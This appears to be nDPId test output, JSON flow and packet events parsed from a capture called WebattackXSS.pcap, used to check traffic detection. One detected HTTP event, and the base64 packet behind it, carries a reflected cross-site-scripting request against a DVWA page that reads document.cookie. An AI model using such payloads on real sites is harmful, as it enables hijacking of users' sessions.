+00432{"flow_id":186,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2692,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347290,"pkt_ts_usec":697806,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0QzxAAEAGgJzAqAoyrBAAAQBQ2Qzzh7fvxdQd6IARAON5DgAAAQEICgPj9NMBOiNd"} +00433{"flow_id":186,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2693,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347290,"pkt_ts_usec":698321,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AA9AAD4GxcmsEAABwKgKMtkMAFDF1B3o84e38IAQAOV5CwAAAQEICgE6I14D4\/TT"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2697,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1499347291442,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55632,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":190,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2697,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347291,"pkt_ts_usec":442976,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA88hpAAD4G07WsEAABwKgKMtlQAFCuf9YCAAAAAKACchDbjgAAAgQFtAQCCAoBOiQYAAAAAAEDAwc="} +00446{"flow_id":190,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2698,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347291,"pkt_ts_usec":443100,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2VCY8a8grn\/WA6AScSCa6QAAAgQFtAQCCAoD4\/WOATokGAEDAwc="} +00433{"flow_id":190,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2699,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347291,"pkt_ts_usec":443851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08htAAD4G07ysEAABwKgKMtlQAFCuf9YDmPGvIYAQAOU58QAAAQEICgE6JBgD4\/WO"} +00434{"flow_id":187,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2703,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347291,"pkt_ts_usec":697679,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0medAAD4GK\/GsEAABwKgKMtkaAFAW6IbKfXj5ooARAOX2mwAAAQEICgE6JFcD4\/Ci"} +00432{"flow_id":187,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2704,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347291,"pkt_ts_usec":697899,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0DG9AAEAGt2nAqAoyrBAAAQBQ2Rp9ePmiFuiGy4ARAOPxcQAAAQEICgPj9c0BOiRX"} +00434{"flow_id":187,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2705,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347291,"pkt_ts_usec":698667,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0mehAAD4GK\/CsEAABwKgKMtkaAFAW6IbLfXj5o4AQAOXxbgAAAQEICgE6JFgD4\/XN"} +00433{"flow_id":188,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2709,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347292,"pkt_ts_usec":697860,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA014NAAD4G7lSsEAABwKgKMtkoAFDVWPfoehFhx4ARAOVgDQAAAQEICgE6JVED4\/Hc"} +00432{"flow_id":188,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2710,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347292,"pkt_ts_usec":698142,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lw9AAEAGLMnAqAoyrBAAAQBQ2Sh6EWHH1Vj36YARAONbIgAAAQEICgPj9sgBOiVR"} +00433{"flow_id":188,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2711,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347292,"pkt_ts_usec":698683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA014RAAD4G7lOsEAABwKgKMtkoAFDVWPfpehFhyIAQAOVbHwAAAQEICgE6JVID4\/bI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2712,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1499347292725,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55646,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":191,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2712,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347292,"pkt_ts_usec":725420,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Az5AAD4GwpKsEAABwKgKMtleAFDMWSZmAAAAAKACchBsAwAAAgQFtAQCCAoBOiVYAAAAAAEDAwc="} +00445{"flow_id":191,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2713,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347292,"pkt_ts_usec":725523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2V6LTEh8zFkmZ6AScSCeZwAAAgQFtAQCCAoD4\/bOATolWAEDAwc="} +00433{"flow_id":191,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2714,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347292,"pkt_ts_usec":726317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Az9AAD4GwpmsEAABwKgKMtleAFDMWSZni0xIfYAQAOU9bgAAAQEICgE6JVkD4\/bO"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":6,"flow_first_seen":1499347219208,"flow_last_seen":1499347224678,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54862,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":147,"flow_packet_id":6,"flow_first_seen":1499347219208,"flow_last_seen":1499347224678,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54862,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":6,"flow_first_seen":1499347220447,"flow_last_seen":1499347225677,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54876,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":148,"flow_packet_id":6,"flow_first_seen":1499347220447,"flow_last_seen":1499347225677,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54876,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":6,"flow_first_seen":1499347221694,"flow_last_seen":1499347227677,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54890,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":149,"flow_packet_id":6,"flow_first_seen":1499347221694,"flow_last_seen":1499347227677,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54890,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":6,"flow_first_seen":1499347224338,"flow_last_seen":1499347229678,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54916,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":150,"flow_packet_id":6,"flow_first_seen":1499347224338,"flow_last_seen":1499347229678,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54916,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":6,"flow_first_seen":1499347225590,"flow_last_seen":1499347230679,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54930,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":6,"flow_first_seen":1499347225590,"flow_last_seen":1499347230679,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54930,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2718,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":310,"flow_first_seen":1499347163177,"flow_last_seen":1499347230695,"flow_tot_l4_data_len":242594,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":782,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54268,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2730,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1499347295224,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55672,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":192,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2730,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":224157,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CihAAD4Gu6isEAABwKgKMtl4AFDbgS3hAAAAAKACchBS1QAAAgQFtAQCCAoBOifJAAAAAAEDAwc="} +00446{"flow_id":192,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2731,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":224250,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2XjDo5gx24Et4qAScSD6uwAAAgQFtAQCCAoD4\/k\/ATonyQEDAwc="} +00434{"flow_id":192,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2732,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":224881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CilAAD4Gu6+sEAABwKgKMtl4AFDbgS3iw6OYMoAQAOWZwwAAAQEICgE6J8kD4\/k\/"} +01216{"flow_id":190,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2733,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":227921,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ98hxAAD4G0XKsEAABwKgKMtlQAFCuf9YDmPGvIYAYAOXWIAAAAQEICgE6J8oD4\/WOR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdKVUwyRDNXWEhFR1dSQUZKRTJQSTdPUzcxWjRaOFJGVUhYR05GTFVGWVZQNk0zT0w1NSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2733,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":4,"flow_first_seen":1499347291442,"flow_last_seen":1499347295227,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55632,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27JUL2D3WXHEGWRAFJE2PI7OS71Z4Z8RFUHXGNFLUFYVP6M3OL55%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00434{"flow_id":189,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2734,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":227954,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D19AAD4GtnmsEAABwKgKMtlCAFDDfi2GwQFJ\/4ARAOUIHQAAAQEICgE6J8oD4\/RO"} +00433{"flow_id":190,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2735,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":228025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VmFAAEAGbXfAqAoyrBAAAQBQ2VCY8a8hrn\/YTIAQAOwwPQAAAQEICgPj+UABOifK"} +00433{"flow_id":189,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2736,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":228111,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sL9AAEAGExnAqAoyrBAAAQBQ2ULBAUn\/w34th4ARAOMDLAAAAQEICgPj+UABOifK"} +00433{"flow_id":189,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2737,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":228581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D2BAAD4GtnisEAABwKgKMtlCAFDDfi2HwQFKAIAQAOUDKgAAAQEICgE6J8oD4\/lA"} +02963{"flow_id":190,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2738,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":231090,"pkt_caplen":1935,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1935,"pkt_l4_len":1901,"pkt":"AMGxFOsxABm5CmnxCABFAAeBVmJAAEAGZinAqAoyrBAAAQBQ2VCY8a8hrn\/YTIAYAOx+XwAAAQEICgPj+UEBOifKSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIxOjM1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWP9P2zgU\/xmk\/Q8+n3TAJOJ13G4bazNBSwdTGT3aAptOitzEbQ1OHGKnhf\/+np2kDV9LViRUHPt9+Ty\/5+f3\/Ga9\/kfrpNn\/2T1AEx0K1B3sd46aCG8Tcr7TJKTVb6GLw\/5xB9Wcd6inE+5rQg5+YIQnWse7hMxmM2e248hkTPqn5MZIqRm2fLitLI8T6AC7b9bfrNetnptQRKrxiIza58+fM9aMfK0+YTSA4dpaPWSaIsOyza5TPm3gpow0i\/R2\/zZmGPnZVwNrdqOJEfEF+ROaKKYbg357+xNGJJO5VtdcC+aepSJiCR1ywfXtLjplI8F8zQLUTKRSqMc1Qz0\/4bHm0RhtXvR6W2h3F7VoGKGCVzB0zoZoL44F96nmMkKbrbPzvS00rTm1d+hti02ZkHEI0N7WSaY4RyF4dIUSJhpY6VvB1IQxjZEGa3IjfKUwmiRs1MCOQ+AvmM6omSUh5ZFjl8lDaRy2opDzHw\/pmBGYuitpRKeGzLELcxnKWluGcEmnNJvFSCX+HSCXyv7vggLnUmG3TjLK3HMkd50ZD2Vwi3xBlfG6DBnOXBrwKeJBAxvfgUUsyb1eWjJCSvNrdR6OHyCxRioi5Fg6cTTGiAoIhCWOWtgNWEHdA9Vmkz1wXFrS\/mDNi2kQsCAzCAhSUdhpVveF9K\/M1giOZOSD6qsGnvEokDMHliyOxkZmibOBC1ZgoHfc5WD3ELatTijssuDu+ksE8ghOX+qbKeXEk\/gZ+fdJsXtUmqmmFg5cGi\/RN6fBbs8MEYHjB5OotV9SRlLhrrCh09L55hAewyTVjDyD6nEG7O6b\/6gtE7+iB+4LZDfMrwLA0mO3KcOQRgE6ii6Z9chqKHyVjKqgsPSAonfaXk3xiBPnawxHtcGBMw3Ykih5ET922xwO95GZUSvvTRoLSYMqu5Nz5DAG9mtF\/9BYw81VyUU5iz23zE8Thpp73X7zcG81KOpa8Co4LD2c6X87rxWsRqI3hMutklNKXPfQoM19M721GqoZo1cerwSpYMHuOYxQjykTreioVTG93pd7o5RXCUjGgF2oZ6BWOTlecSuMuKSkX7GsinoRjqTAMS++XgGNqrobqkDR0zK5C2HFK8ieRagul16HCzLsmvoR4iObqrYdwM+jkVyirkSF3e5hF07HSFZTRIcy1UvUzGmwu2eGr7etptBbqn5BhN2OHd8DkFdsd2q\/pwtBU8IuCkHoZMxqrtuslQvB+qT2O90FlMy1vGAuCZ\/OK1jPlwHzaMJoXj+PZBKiiIZQrQM\/lL02xTXwnxhBtzSRgP3bQT+vTetxbvH5hOoNhW5lmljmr0VlHcVpufjHuWjzO69vy0QqHYYcyKZUpPDZyz5zbSR2s6aCGJQZ3jhh7iETQqK81XCh8ldSMPDweHPj+6DzvrVzfnF48O38dK\/9\/eB99+jjSe9j7dffvz6dtgeHF99+tDuD9s+z7j\/HOyedDx82tr6UJQTST02n5fhSXnG29WXekgCchFnXLDxcn7x3j+HA2\/BPQppdVjBp1vL4gGhcxJVpPlXesMoZVbHtWSFE2Y0JM2I9u63As97cs571LLRjNBlDJ4rhVqLRFXZ\/X9Y8iivjA24PqhTNEu8A2jow12tCf6W9Xt56VsT4vLzlOFnkzPgVj1nAqRVtvsqWq8Lyp7G9XMbzeHIz\/TGfJ2NfhuZ62B7Ra8c+STwK4gWML9Kc4aSCJbpmJTyr7gF1WUee3bJQLzrXYQL9bvZbpLAnUl6ed3zBaDI\/zY\/lRXWrNAs9c5c8mh+Gqdamz87zwxlnMwTHP57n7FjGaewVZDJqZll\/8eiwCxSDeBM9cdtPQaI3AYkmHL8CJFtT\/FU4oiHkbANtYRcthdWDZOiz1wWmrMyl0MxuUsHHkLcFG0H+rLPQHSiWmLy7WyfwhWgQ8ih3IXwXxQHqmNelnAYkLijgVj9q9fKVgCtzfQSFF5906EhKfeexJXZXee2KH7tWywmYmIszexe0L3bu\/6vxR0WSFAAA"} +00433{"flow_id":190,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2739,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347295,"pkt_ts_usec":231726,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08h1AAD4G07qsEAABwKgKMtlQAFCuf9hMmPG2boAQAQIo2AAAAQEICgE6J8sD4\/lB"} 